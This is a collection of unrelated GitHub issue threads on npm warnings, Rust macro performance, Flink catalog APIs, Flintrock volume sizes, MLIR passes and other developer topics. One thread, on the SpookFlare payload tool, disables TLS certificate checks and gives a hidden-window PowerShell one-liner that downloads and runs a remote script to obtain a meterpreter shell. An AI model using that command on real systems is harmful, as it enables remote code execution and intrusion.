<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master/node_modules/pngquant-bin
node lib/install.js

✔ pngquant pre-build test passed successfully

<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master/node_modules/optipng-bin
node lib/install.js

✔ optipng pre-build test passed successfully

<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master/node_modules/jpegtran-bin
node lib/install.js

✔ jpegtran pre-build test passed successfully

<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master/node_modules/gifsicle
node lib/install.js

✔ gifsicle pre-build test passed successfully

<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master/node_modules/node-sass
node scripts/build.js

(node:8124) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 SIGINT listeners added. Use emitter.setMaxListeners() to increase limit
Binary found at /home/administrator/Documents/mean/mean-master/node_modules/node-sass/vendor/linux-x64-57/binding.node
Testing binary
Binary is fine

<EMAIL_ADDRESS>postinstall /home/administrator/Documents/mean/mean-master
npm run bower

<EMAIL_ADDRESS>bower /home/administrator/Documents/mean/mean-master
bower install --allow-root && bower prune --allow-root

npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none was installed.
added 1352 packages in 227.312s

i faced above issue but my application is installed successfully and working. but how can we eliminate those types of warnings?

@rameshkr92 don't worry, it's just warnings regarding some dependencies, typically in development dependencies and deeper in requirement tree (package mean uses requires another package which requires another package etc...)
If you want, you can update some of the stuff to newer versions using NCU but at least updating eslint would require more work in code as well.

Hi simison,
Thanks for your reply.
:)

Hi simison,
Thanks for your reply.
:)


Throw error if semantics function doesn't get all arguments

Semantics functions provide default values for their arguments, which has turned out to be somewhat of a headache (see #147), but it is at least useful for noting the type of each input. With this PR, we now throw an error if all inputs aren't given.

Still haven't decided whether this should cause an error. We're throwing a warning for now. Will close this and open an issue.


Really slow generation for very large (simple) generated code

I just investigated a performance bug in a simple proc macro: https://github.com/illicitonion/num_enum/issues/13
It generates a simple function which declares 7000 consts, and a match with 7000 branches.
If I hand-code the generated code as a string, cargo expand takes 6 seconds.
If I use proc-quote, cargo expand takes 94 seconds.
The only difference is how the TokenStream is generated.
There's a repro here: https://github.com/illicitonion/num_enum_regression_13 - the Cargo.toml has two options for where to get the num_enum dep switching between the implementations. This is the pull request switching from proc-quote to raw String generation: https://github.com/illicitonion/num_enum/pull/14
This is the code that gets generated: https://gist.github.com/illicitonion/53d68708a1c4057ccdc7190d642d44f6
Are we using proc-quote wrong in some way? We'd love to get back to using it, as it's a really handy crate!
Thanks!

I will investigate this when I have more time. Meanwhile, have you tried to use the original quote crate? It should be able to do most things this crate can, and because it is implemented in macro_rules, it should give a better performance than this one.

I just checked - the original quote crate took 88 seconds, so much closer to proc-quote.

That is bad. I don't think I can surpass the speed of the quote crate in proc-quote, so any potential improvement will probably come from quote first.
@dtolnay what do you have to say about this?


Roll Packages from 03f5f6d5660c to 62e1963cf7ec (9 revisions)

https://github.com/flutter/packages/compare/03f5f6d5660c...62e1963cf7ec
2024-06-27<EMAIL_ADDRESS>[interactive_media_ads] Updates README with a usage section and fix some interface docs (flutter/packages#6988)
2024-06-27<EMAIL_ADDRESS>[tools] Fix vm test requirement (flutter/packages#6995)
2024-06-27<EMAIL_ADDRESS>Update web_benchmarks package to properly support wasm. (flutter/packages#6970)
2024-06-27<EMAIL_ADDRESS>[pigeon] Implement equals for Java data classes (flutter/packages#6992)
2024-06-25<EMAIL_ADDRESS>Final refactor of video_player_android before SurfaceProducer#setCallback. (flutter/packages#6982)
2024-06-25<EMAIL_ADDRESS>[pigeon] Update testing and docs (flutter/packages#6984)
2024-06-25<EMAIL_ADDRESS>[various] Update flutter.dev links to more reliable destinations (flutter/packages#6963)
2024-06-25<EMAIL_ADDRESS>[interactive_media_ads] Adds initial Android implementation (flutter/packages#6733)
2024-06-25<EMAIL_ADDRESS>Roll Flutter from 6c06abbb5576 to e726eb401c2c (51 revisions) (flutter/packages#6987)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-packages-flutter-autoroll
Please CC flutter-ecosystem<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To file a bug in Flutter: https://github.com/flutter/flutter/issues/new/choose
To report a problem with the AutoRoller itself, please file a bug:
https://issues.skia.org/issues/new?component=1389291&template=1850622
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Commit queue failed; closing this roll.


Add multi-arch support

@cybcon - first, thank you for publishing your modbus tools!
It would be super helpful to be able to run the modbus-client docker image on an arm device, so would it be possible to update the build-and-push action steps to something like this?
    steps:
      - name: Checkout GIT repository
        uses: actions/checkout@v3
      - name: Get the application version
        id: application-version
        run: |
          image_version=$(grep "^LABEL site.local.program.version=" Dockerfile | cut -d= -f2 | sed -e 's/"//g')
          if [ -z "${image_version}" ]; then
            echo "ERROR: unable to detect version number!" >&2
            exit 1
          fi
          echo "tag=${image_version}" >> $GITHUB_OUTPUT
      - name: Set up QEMU
        uses: docker/setup-qemu-action@v2
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2
      - name: Login to container registry
        uses: docker/login-action@v2
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_PASSWORD }}
      - name: Build and push
        uses: docker/build-push-action@v4
        with:
          push: true
          context: .
          platforms: linux/amd64, linux/arm64
          tags: oitc/modbus-client:${{steps.application-version.outputs.tag}}

Hi @ben-fussell,
Thank you for your suggestion. I added now your code to the pipeline.
You will find now Linux amd64 and Linux arm64 on docker Hub - Version 1.0.11 ist the correct one.
It will be greate if you can test the arm64 version if all is working well.
Best regards,
Michael

arm64 implemented for client and server and functionality validated today


Continuous Integration

Need to get travis added to this repo. See here: https://github.com/settings/connections/applications/f244293c729d5066cf27
See https://github.com/kbrose/article-tagging/pull/2 for what travis CI will look like once it's added.

This will close #96.


Drop PAB client in shell.nix

PAB client was removed. Not sure what else we can do here but removing it as well.


Please add pointer to babel-plugin-transform-decorators-legacy for users of Babel 6.x

ES decorators are about to change. Currently, we must use the legacy ES2015 decorators.
Support for these decorators is provided by the interim package published by loganfsmyth:
babel-plugin-transform-decorators-legacy.

We already have a note in the README about the upcoming change, but I'd prefer not to link to a third party, unofficial package that I can't vouch is 100% compatible with this library. In fact, it definitely isn't if you choose to import the raw ES source, as I do, since we haven't yet ported to the new spec. Most probably import the already transpiled source, but I'd prefer not to confuse things.
I'd rather just continue the current recommendation until upstream Babel gets either implementation of the spec.
Thoughts?

Correction: it does indeed seem to work even with the source, however some of the decorators have incorrect behavior because of the caveats and differences listed on that plugins README. I also strongly disagree with the changes they made that violate both versions of the spec.

Closing due to inactivity. Still interested in your thoughts.

@jayphelps Well, loganfsmyth is actively involved in the babel project so I believe him to be the go-to guy when it comes to babel. However, you are correct in that the plugin handles decorators differently from babel 5.x. According to loganfsmyth the implementation of babel 5.x does not stick to the specification. I will try out core-decorators and have a look at the existing tests and why they fail with the plugin. Other than that, I cannot think of anything :grin:


TcpProxyTest fails every time on Mac

TC run
It would fail even in known good 2.24ea4 release so it's something about Agent configuration or Java version.

it now working, both locally and on TC

and locally


Xamarin.Android bindings for Sceneform

Sceneform is an important component of ARCore and enables you to render images in the AR scene. Without it, you can't actually augment the view.
https://developers.google.com/ar/develop/java/sceneform/

VS bug #732181

This would be useful for our project...  @Redth I'm sad to see this has been moved back into triage.
I hope one of the main benefits of Xamarin doesn't become it's weakness!?... i.e. waiting for the .net bindings on new and exciting libraries mean Xamarin developers / employers are left eating dust in the technology race.

We are still working on this :)
Our automated issue handling process moved it back to triage since it was commented on, no other reason!

@Redth Awesome!  Excited for some Sceneform goodness soon!

Any news? Without any timescale on this I'm tempted to just move my project from Xamarin to another solution

@simonegarau  We are currently working on the Google VR binding #517 and then we will look at sceneform

Thanks for the update @newky2k

Can we get an update on sceneform @newky2k

@h-maac I'm starting on the binding for this now, just fyi

Thank you very much for the good news @newky2k, I'm pretty sure that you made loads of people happy, including me. Not really sure how long these processes take but I'm looking forward to hear from you. Best!

@h-maac @SamuelDebruyn @jamboharris @SteHiggins @ryanlpoconnell @simonegarau We have pushed out preview1 of the Sceneform for Xamarin.Android binding based on version 1.8.0.  We have the HelloSceneForm working, though we are having issues with applying the materials.
The code is available here -> and we have pushed the packages to nuget, just search for Xamarin.Android.SceneForm.
We'd love you feedback and any suggestions(and pointers to fixing the material in the sample) would be great.
Enjoy!

@h-maac @SamuelDebruyn @jamboharris @SteHiggins @ryanlpoconnell @simonegarau  newky2k https://github.com/xracer007/Xamarin.Droid.SceneForm
full source code
any suggestions would be great.

preview 1 pushed to nuget


Support foodcritic fail tags and fix multiple only rules

Currently lint phase only reports a problem if one of the correctness rules fires. This PR adds a fail_tags option to the config.json to make this configurable. For example, "fail_tags": ["any"] will report if any rule fails.
The PR also changes foodcritic_tags to generate a comma-separated list -t FC002,FC005 because foodcritic does not correctly handle multiple -t flags like -t FC002 -t FC005. Multiple ignore tags like -t ~FC008 -t ~FC009 works correctly.
Let me know if you need the two things as separate PRs

Change is in Review!

@christinedraper Could you just rebase to have a single commit? I think we are close to approve this! 👍
Ill wait for you to do that, you might need to force push... 😄

@afiune - should be good to go now

Pushing it to Delivery! 👍

Change was Demoed and Delivered!! 👍  Great work! Thank you @christinedraper

Merged! https://github.com/chef-cookbooks/delivery-truck/commit/37f2c0a03cfdba3b0a319e2def933c6a2c82ab05


Need a release for Raylib 4.0.0 and Raygui 3.0

Lots of adjustments in names, so might be tricky.
Also raygui 3.0 has been released.

closed: https://github.com/schveiguy/raylib-d/releases/tag/v4.0.0

I might have to abandon raygui... Or port it.

Not going to do raygui. I think in the newest version of raylib, I will remove the raygui port.


seneca 3 fix

On seneca 3.0.0 the web is not included by default. We have to call a seneca.use('seneca-web') for versions starting from 3.0.0

https://github.com/senecajs/seneca-auth/pull/95


hack is not compatible with CLI Core > 2.1.0, current version is 2.2.0

Extension name (the extension in question)
Hack
Description of issue (in as much detail as possible)
az hack is not compatible with CLI Core > 2.1.0, current version is 2.2.0 #15

This issue will be addressed by merging #1309

Manual install instructions for the new version waiting to be merged:
az extension remove --name hack
az extension add --source https://azhackcli.blob.core.windows.net/whl/hack-0.4.2-py2.py3-none-any.whl

#1309 will address this

PR merged and now you can run az extension update -n hack to upgrade to the latest version if you have an existing incompatible one. Sorry for the delay.


[FLINK-12365][table] Add stats related catalog APIs

What is the purpose of the change
Added stats related catalog APIs. Made table/column stats first-level meta object in catalog. Removed stats related info from table definition.
Brief change log
(for example:)

Added stats related catalog APIs
Added stats related classes
Implemented these APIs in GenericInMemoryCatalog
Adapted CatalogTable definition for the new changes
Added tests

Verifying this change
Added unit test coverage.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (Yes)
If yes, how is the feature documented? (JavaDocs)

I updated the PR with the following reworking:

Modified CatalogColumnStatistics class to enclose statistical info of all columns for a table/partition.
Added CatalogColumnStatisticsDataBase as a base class for column stats values that can be subclassed for different data types.
Added two stats value types, boolean and long, as examples. More types will be added in followup JIRAs.
Return "unknown" stats for GenericInMemoryCatalog when stats are not available for a table/partition.
Modfied tests and test utils accordingly.

 I just rebased and rebuilt, and everything seems working fine to me.

did a forced push and now it seems good.

Thanks for the review, @bowenli86 ! I pushed another commit addressing above review comments. Plus, I will create a followup JIRA to add more test cases.

@flinkbot attention @KurtYoung

I have added more column stats types, leaving out Decimal because that's more involved to a different JIRA after this. @KurtYoung could you please take another look and merge this so that we can settle on the APIs at least. I have rebased this PR for quite a few times already. Thanks.

Changes LGTM, please fix the test failure:
21:22:05.992 [ERROR] testStatistics(org.apache.flink.table.catalog.GenericInMemoryCatalogTest)  Time elapsed: 0.011 s  <<< FAILURE!
java.lang.AssertionError: Use assertEquals(expected, actual, delta) to compare floating-point numbers
at org.apache.flink.table.catalog.GenericInMemoryCatalogTest.testStatistics(GenericInMemoryCatalogTest.java:604)

Pushed fix for the test. Thanks for the review, @KurtYoung .


Option for Minimum EBS Root Volume Size

Flintrock version: 0.7.0

There should be an option to modify min_root_device_size_gb = 30 in line 626, ec2.py to any desired value in the flintrock configuration file. 30 GB may be excessive and costly in some cases, provided the AMI is smaller than 30 GB (10 GB in my case).

If I'm remembering my Flintrock history correctly, I believe I set the default size to 30 GB because 10 GB is not enough to build Spark from source, which is one of the features that Flintrock supports. The initial 10 GB default was also reported as too small by several early users of Flintrock. I set this new default in #50.
What's the additional cost when going from 10 GB to 30 GB for the root volume if, say, you have a 100-node cluster? I remember it being minuscule, but I don't have a hard calculation documenting it.
I'm inclined to leave this default as-is without an option to change it, since every new option complicates things a bit. But if the added cost is significant I would be open to reconsidering, since I know one of the reasons people use Flintrock over, say, EMR is to cut costs.

From my guide (based on https://aws.amazon.com/ebs/pricing/)
"The price for Amazon EBS gp2 volumes is $0.10 per GB-month for US East and since Flintrock sets its default minimum EBS root volume to be 30 GB, the EBS volumes costs about $0.10/hour per instance regardless of the instance type or AMI, whereas spot-requested m3.medium instances cost about $0.01/hour per instance."
In my experience working with flintrock, EBS volumes outweighed instance cost, especially when I use large-node clusters with cheap, spot-requested instances.

I  find 30 GB EBS volume small for my hdfs cluster use. Is there any other way to increase hdfs cluster disk size ?

You could do one of the following:

Increase the size of your Snapshot/AMI you're launching from
Change min_root_device_size_gb = 30 to desired size in line 626, ec2.py

@PiercingDan EBS gp2 volume pricing is $0.10 per GB-month so it only cost $3 per month for 30 GB and hourly cost 3/(24*30)=0.004 is less then instance cost $0.01/hour

Good catch @pragnesh

@pragnesh:

I find 30 GB EBS volume small for my hdfs cluster use. Is there any other way to increase hdfs cluster disk size ?

Flintrock deploys HDFS to the EBS root volume only if the AMI has no ephemeral volumes attached. If you select a larger instance type that has ephemeral volumes (also called instance store volumes) Flintrock will use those instead for HDFS. That's because they are super fast (faster than EBS), and Flintrock users (from my understanding) typically use HDFS in conjunction with Spark to share things like shuffle files or temporarily stage data before starting their job. The permanent store for these users is typically something like S3. I strongly recommend against using Flintrock-managed HDFS as anything other than a temporary store for your data.
This should probably be documented explicitly somewhere. I don't believe it currently is.

@nchammas We use hdfs only for temporary store. I know we can use instance with ephemeral volume if we need more hdfs storage.  But spot instance price for instance store volume usually high and also change frequently, so in order to avoid losing instance, we tend to use instance like m4.large. For us EBS performance for hdfs is not big issue compare to instance loss during running job. we can workaround this issue by having more instance. I just nice to have some setting during launch config.


Support custom resource types being added to API_PROFILES

Only list through RTs in the current profile instead of all (no need to go through all)

Marked as DNM for now to get feedback and also, it includes a change to storage that we wouldn't want to actually merge.

Addressed feedback, please take another look.
Usage would be something like this:
class StorageCommandsLoader(AzCommandsLoader):
     def __init__(self, cli_ctx=None):
         CUSTOM_MGMT_STORAGE = CustomResourceType('azure.mgmt.storage', 'StorageManagementClient')
        augment_api_profiles('latest', CUSTOM_MGMT_STORAGE, '2015-06-15')

While Profiles and Endpoints for clouds are related, they are intentionally separated in the source code because you can use the same profile with multiple clouds and there's no relation between the two in terms of Azure.
That's why the cloud and profile code lives separately:
https://github.com/Azure/azure-cli/blob/dev/src/azure-cli-core/azure/cli/core/cloud.py
https://github.com/Azure/azure-cli/blob/dev/src/azure-cli-core/azure/cli/core/profiles/__init__.py
I can take a look at adding support for that next though...


Sub Flow group node & TypeScript: 'className' does not exist

Describe the Bug
Hello! I can't seem to use the className property for Sub Flow groups, as shown in the example here, with TypeScript.
Type '{ width: number; height: number; className: string; style: { backgroundColor: string; width: number; height: number; }; }' is not assignable to type 'Properties<string | number, string & {}>'.

Object literal may only specify known properties, and 'className' does not exist in type 'Properties<string | number, string & {}>'.  nodes.d.ts(10, 5): The expected type comes from property 'style' which is declared here on type 'IVizStepNode'

Where IVizStepNode is as follows:
export interface IVizStepNodeData {
  icon?: string;
  kind?: string;
  label: string;
  step?: IStepProps;
  ...
}

// "extend" React Flow's `Node` type
export type IVizStepNode = Node & {
  data: IVizStepNodeData;
};

Your Example Website or App
https://github.com/kahboom/kaoto-ui/tree/branching
Steps to Reproduce the Bug or Issue
Create a Node for a Sub Flow group with properties similar to these:
export function insertBranchGroupNode(
  stepNodes: IVizStepNode[],
  originStepNode: IVizStepNode,
  branch: IStepPropsBranch,
  position: { x: number; y: number },
  groupHeight: number,
  groupWidth: number
) {
  return stepNodes.unshift({
    id: getRandomArbitrary(100, 999).toString(),
    type: 'group',
    position,
    data: {
      parentUuid: originStepNode.data.UUID,
      branch,
    },
    style: {
      width: groupWidth,
      height: groupHeight,
      className: 'light',
      style: { backgroundColor: 'rgba(255, 0, 0, 0.2)', width: 200, height: 200 },
    },
  });
}

Expected behavior
I should be able to use the className property without a TS warning
Screenshots or Videos

Platform

OS: macOS
Browser: Chrome
Version: 11.0.0-next.13
IDE: WebStorm

Additional context
No response

no worries :)


Bad performance in some linalg generic generated for MobileBert

After moving to linalg on tensor we generate the op below in mobile bert. We should collapse the unit dimension to avoid creating a 4D op.
%1479 = linalg.tensor_reshape %1474 [affine_map<(d0, d1, d2, d3) -> (d0)>, affine_map<(d0, d1, d2, d3) -> (d1)>, affine_map<(d0, d1, d2, d3) -> (d2, d3)>] : tensor<4x384x384xf16> into tensor<4x384x1x384xf16>
  %1480 = linalg.generic {indexing_maps = [affine_map<(d0, d1, d2, d3) -> (d0, d1, d2, d3)>, affine_map<(d0, d1, d2, d3) -> (d2, d3)>, affine_map<(d0, d1, d2, d3) -> (d0, d1)>, affine_map<(d0, d1, d2, d3) -> (d0, d1)>, affine_map<(d0, d1, d2, d3) -> (d0, d1, d2, d3)>], iterator_types = ["parallel", "parallel", "parallel", "parallel"]} ins(%1479, %arg1, %1476, %1478 : tensor<4x384x1x384xf16>, tensor<1x384xi32>, tensor<4x384xf16>, tensor<4x384xf16>) outs(%52 : tensor<4x384x1x384xf16>) {
  ^bb0(%arg3: f16, %arg4: i32, %arg5: f16, %arg6: f16, %arg7: f16):  // no predecessors
    %1529 = sitofp %arg4 : i32 to f16
    %1530 = mulf %1529, %cst_1091 : f16
    %1531 = mulf %1530, %cst_1092 : f16
    %1532 = addf %1531, %cst_1093 : f16
    %1533 = mulf %arg3, %cst_1090 : f16
    %1534 = addf %1533, %1532 : f16
    %1535 = subf %1534, %arg5 : f16
    %1536 = math.exp %1535 : f16
    %1537 = divf %1536, %arg6 : f16
    linalg.yield %1537 : f16
  } -> tensor<4x384x1x384xf16>

This pass https://github.com/llvm/llvm-project/blob/main/mlir/lib/Dialect/Linalg/Transforms/DropUnitDims.cpp should be able to drop one of the unit-dimensions and fold away the reshape too.
This is the pass option https://github.com/llvm/llvm-project/blob/b19136e35256c5b21aff93ea5b55b4c142408c40/mlir/include/mlir/Dialect/Linalg/Passes.td#L25 . Should be able to use it with iree-opt.
Might be some over constrained checks, cause d2 must be able to drop that dimension.

On latest code I do see that unit dimensions are being removed however this doesn't remove the parallel loops so we get something like this:
linalg.generic {indexing_maps = [affine_map<(d0, d1, d2, d3) -> (d0, d1, d3)>, affine_map<(d0, d1, d2, d3) -> (d2, d3)>, affine_map<(d0, d1, d2, d3) -> (d0, d1, d3)>], iterator_types = ["parallel", "parallel", "parallel", "parallel"]} ins(%52, %arg1 : tensor<4x384x384xf16>, tensor<1x384xi32>) outs(%53 : tensor<4x384x384xf16>)

Ideally we could reduce it to 3 parallel loops instead of 4.
@MaheshRavishankar, DropUnitDimensions is not expected to handle that? Are you aware of such transformation or is it something new we need to write?

It should be removed. The issue is this affine map : affine_map<(d0, d1, d2, d3) -> (d2, d3)> . This is used to accesses arg1. In theorry it should be adding a reshape to drop the dimensions d2 in the affine_map. With that there would be no uses of d2 in the affine maps and the loop would be removed.

You're right, DropUnitDimensions actually does the right thing. The problem is that the extra parallel dimensions are re-introduced by populateFoldReshapeOpsByExpansionPatterns Setting allowFoldingUnitDimReshapes actually fixes the performance issue in this case.


Save image after editing in MySQL database and server

Hello,
Is there a possibility after the image has been edited via a PHP script to save the image path into the MySQL database and then save the image in a folder on the server?

Hello, I describe my problem again. Maybe it was not understandable enough.
I would like to say that the image is edited by a TUI Image Editor via a Save button to a PHP script and the script saves the image both in the MySQL database and on the server. Is there a possibility? What I have only found so far is that the picture can only be saved on the server. Can someone please help me with the problem?

@TMWolters
First of all, I think this part of development(MySQL, server development things) is not a Front-End development. And I can't guide you right answer to way what you want.
As far as I know, MySQL is a database, You should NOT to save file or image file to database. File should stored to file server's storage. And the path of the file and some metadata will be saved into database.
And TOAST UI ImageEditor is written by Javascript. You should write some Javascript codes for get Image data from ImageEditor. Then using PHP is your choice.

Hello,
I think you misunderstood that. I just want to write the file path to the database and not the image file. I would like to save the image file on the server. I have only the problem that I do not know exactly how I abrreife the picture to save it on the server and the file path then in the database.


Always On Top windows doesn't remain on top

Microsoft PowerToys version
0.62.1
Running as admin

[ ] Yes

Area(s) with issue?
Always on Top
Steps to reproduce
Selected Top window using WIN+CTRL+T, which creates a dark blue border around the selected windows.
However, window doesn't remain on top.  Selecting a tab in edge browser or similar causes window to move to background.
✔ Expected Behavior
Expected selected window to remain on top.
❌ Actual Behavior
Window did not remain on top.
Other Software
No response

Not able to repro this, going to close. Let us know if you see this again!


unable to get linter results

just like the title, it doesn't seem to get the results

Are you using atom-ide-ui instead of linter? This package currently requires linter.

Btw @haklop if you were interested, I have an implementation of consuming messages from both implementations in atom-minimap-linter.


Recommended way to send test/experimental events

Extracted from #107.
@parasssh

for testing purposes, what is the recommended way to send test/experimental events from SDK without polluting the account with such events. I am unable to find a Guide/Recommendation on that.

@parasssh there are a few ways to go about this.

Separate test organization
Separate test project
Separate environment on events
A combination of the above
Possibly other ways

Really depends on individual preference.
From the SDK, you can use sentry.CaptureMessage("test message") to create a synthetic event with a message.
The options I listed above affect what options you pass to sentry.Init, to point the SDK to the appropriate org/project DSN and/or environment.


Question about running tests

Is it possible to run individual tests?

There's a hack if you want to test just a module:
 pyb -P unittest_module_glob=reactor_tests.py

whith s/reactor_tests/your_test_module/ of course. There's no easy way to run just a test in a module right now though.

Actually there is: you can override unittest_test_method_prefix with the -P switch. Same as the module example I added but with method name.

Interesting. I usually ended up with my own hack using nosetests:
PYTHONPATH=src/main/python nosetests test_module:TestClass.test_method

But this depends on correctly set PYTHONPATH. And so one thing I would really like to see is the ability to modify the environment using pybuilder to inject the PYTHONPATH, for example the way the ssh-agent does it.
eval pyb export_env

Hmm.. that would definitely be really easy to add. Question is, what do you gain from it? Right now you export PYTHONPATH=src/main/python. With a task you'd still have to type eval pyb export_env which is not noticeably shorter.
I think it would be better to have an actual task that takes parameters, like
pyb run_nose "test_module:TestClass.test_method" (but we can not even parse this right now).
For this exact use case you could add a zsh function that sets both properties (module glob and method prefix).

Yeah, I'll do that. Can I get pyb to print the module and scripts path?

You need to add a task for that :-/
We could consider adding these to the core python plugin since it's pretty neat for shell usage (like setting the pythonpath before starting vim, etc).
@task
def print_module_path(project):
    print(project.expand_path("$dir_source_main_python"))

@task
def print_scripts_path(project):
    print(project.expand_path("$dir_source_main_scripts"))

and then call the task with -Q (very quiet).

Yeah, that would suffice for my use-case. Everything, else I can do by shell function. It's probably only an edge-case, since I don't know any projects that override these defaults, but just in case it would be neato and would help interoperability between pybuilder and other tools.

The original question has been answered. I'd like to close this issue and make a new one for the suggestions about the additional tasks, OK?

Works for me!

See: #239


Reworked interrupt hint

reworked interrupt hint to make showing a name optional

All of that code just for the name? A lot of that is duplicated.
I think it would be much simpler to add a name as an explicit hint, where it makes sense (eg if you have several mobs active and it's important who to interrupt). I know that localization could be an issue, but tbh I don't really care, as the plugin doesn't handle localization properly anyway, and I'd prefer consistency to having only small bits localized here and there.

Ok I reworked the hint again, it is much shorter now
maybe we should look into adding more localisation options instead of not doing any


chore: dockerfile cache

@SocketSecurity ignore-all

:tada: This PR is included in version 1.32.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Add create integration tests.

This PR is meant to add create integration tests which are bring tracked in #361.
I will outline the basic approach I have decided to add the necessary tests:

Remove ContainerCreate struct.
Replace it with something similar to syntax such as get_test_group.
... (I will add more stuff here, as I go on)

Signed-off-by: Tejas Sanap<EMAIL_ADDRESS>

Codecov Report

Merging #583 (6c58724) into main (154655c) will decrease coverage by 0.54%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main     #583      +/-   ##
==========================================
- Coverage   61.18%   60.64%   -0.55%
==========================================
  Files          85       99      +14
  Lines       12553    12667     +114
==========================================
+ Hits         7681     7682       +1
- Misses       4872     4985     +113

Codecov Report

Merging #583 (6c58724) into main (154655c) will decrease coverage by 0.54%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main     #583      +/-   ##
==========================================
- Coverage   61.18%   60.64%   -0.55%
==========================================
  Files          85       99      +14
  Lines       12553    12667     +114
==========================================
+ Hits         7681     7682       +1
- Misses       4872     4985     +113

Hey @whereistejas are you still working on this?

Considering that this has been stale for almost 2 months now, I will close this. Feel free to reopen if you want to continue.


SSL/TLS Negotiation Error with Powershell Payload and MSF - FIX/WORKAROUND

So this is a great project! So currently the https ps1 payload will give you the following error: Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."
You can get around this by placing the following code at the top of the ps1 output file generated by spookflare:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Once you do that you can just call the file from a cmd prompt like so and get your https meterpreter shell: powershell -w 1 -c "iwr('http://x.x.x.x/PS1-OUTPUT.txt')|iex"
Cheers!

Thank you! C # based binary payloads have this property but I forgot for PowerShell payloads. I'll add it to the update.


Fill in VersioningService and usages

Adds needed support for:

Check-in
Check-out
Cancel checked-out
Get all versions
Get latest version
Get latest version's properties

Changes VersioningServiceInterface to make checkIn() and checkOut() return values.

Question open for discussion:
The changes performed in this commit change the current expectations for the VersioningServiceInterface methods checkIn() and checkOut(), making them return new object IDs. To reflect this a simple change in method annotation is sufficient.
The reason this is done is to avoid changing the PHP signature of those two methods (and the implementation) to pass object ID by reference (as is the strategy in other places). Such a change is potentially breaking towards implementations that are not our own - but given the young age of the project it may be preferable to change the signatures now for consistency.
Arguments for and against are welcome!

HI @NamelessCoder, i can remember that we already talked about that reference stuff. The Problem is that in the java implmementation a "holder" object exists which is just there to pass the argument as reference. I really don't like passing by reference but i think it's ok at that place. I would try to keep the code as consistend as possible and as near as possible to the java implementation (https://github.com/apache/chemistry-opencmis/blob/ac572d9a4d8d13bf5caed0179fc1b89be0ec9bbf/chemistry-opencmis-client/chemistry-opencmis-client-bindings/src/main/java/org/apache/chemistry/opencmis/client/bindings/spi/local/VersioningServiceImpl.java)
So i would vote for passing by reference even if that is a breaking change now... there is no official version released yet so i don't see a reason why we should not do breaking changes...

Don't merge yet - change is coming to implement the alternative solution described above, changing the signature to pass object ID by reference and changing this referenced value inside the function.

Just a rebase for now

PR now changed to implement the second proposed solution with changing the VersioningService interface and implementation to pass object ID by reference. Should be ready to merge.

@sascha-egerer If you've got a couple of minutes would you mind giving this one a second read? Updated to pass by reference as we discussed ;)

Looks good by reading. Just would change some formatting but i've notices that we also used the format & $ on other places... So... We can also change that in a different patch

Roger that - I'll take care of that & change next in a new PR!

`-- mode: compilation; default-directory: "~/fi/env/vendor/dkd/php-cmis/examples/" --
Compilation started at Wed May  4 18:24:11
php ./Versioning.php 1
PHP Warning:  Module 'pcntl' already loaded in Unknown on line 0
Warning: Module 'pcntl' already loaded in Unknown on line 0
[] Using existing README.md document in repository root folder.
[] Checking out document to private working copy (PWC)... done!
[] Versioned ID before: 6fdf8d88-3597-420b-a2b0-aa67a2970949;3.0
[] Versioned ID during checkout: 6fdf8d88-3597-420b-a2b0-aa67a2970949;pwc
[*] Checking in with updated properties (major)
PHP Fatal error:  Call to a member function getId() on null in /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/src/DataObjects/Document.php on line 139
PHP Stack trace:
PHP   1. {main}() /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/examples/Versioning.php:0
PHP   2. Dkd\PhpCmis\DataObjects\Document->checkIn() /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/examples/Versioning.php:100
Fatal error: Call to a member function getId() on null in /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/src/DataObjects/Document.php on line 139
Call Stack:
0.0016     249440   1. {main}() /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/examples/Versioning.php:0
1.1921    8317832   2. Dkd\PhpCmis\DataObjects\Document->checkIn() /Users/dkd-goslar/fi/env/vendor/dkd/php-cmis/examples/Versioning.php:100
Compilation exited abnormally with code 255 at Wed May  4 18:24:13
`

Caused by the reference/return mixture?


Use cert-manager to create the Traefik cert

Use the CA cert of mkcert as the self-signed Issuer.
Then let cert-manager create the traefik certificate instead of generating it locally.
Next autoinject the CA with the ca-injector into the pods, so they can validate any certificate made by cert-manager

Closed in #25


Listenning to event "keydown"

Why is it not possible to listen to event "onkeydown" when using this library?
// this is never called
document.getElementById('svg-wrapper').addEventListener("keydown", function(event) {
  console.debug(event.keyCode);
});

If I remove the data attribute it works again:
<div id="svg-wrapper" tabindex="1" data-pan-on-drag data-zoom-on-wheel="min-scale: 0.3; max-scale: 1000;">
 <svg>...</svg>
</div>

This is because clicking on the element does not give it focus.
Caused by calling preventDefault() on the pointerdown event.

Sorry for the hassle, but how about this solution?
document
  .getElementById('svg-wrapper')
  .addEventListener("keydown", function(event) {
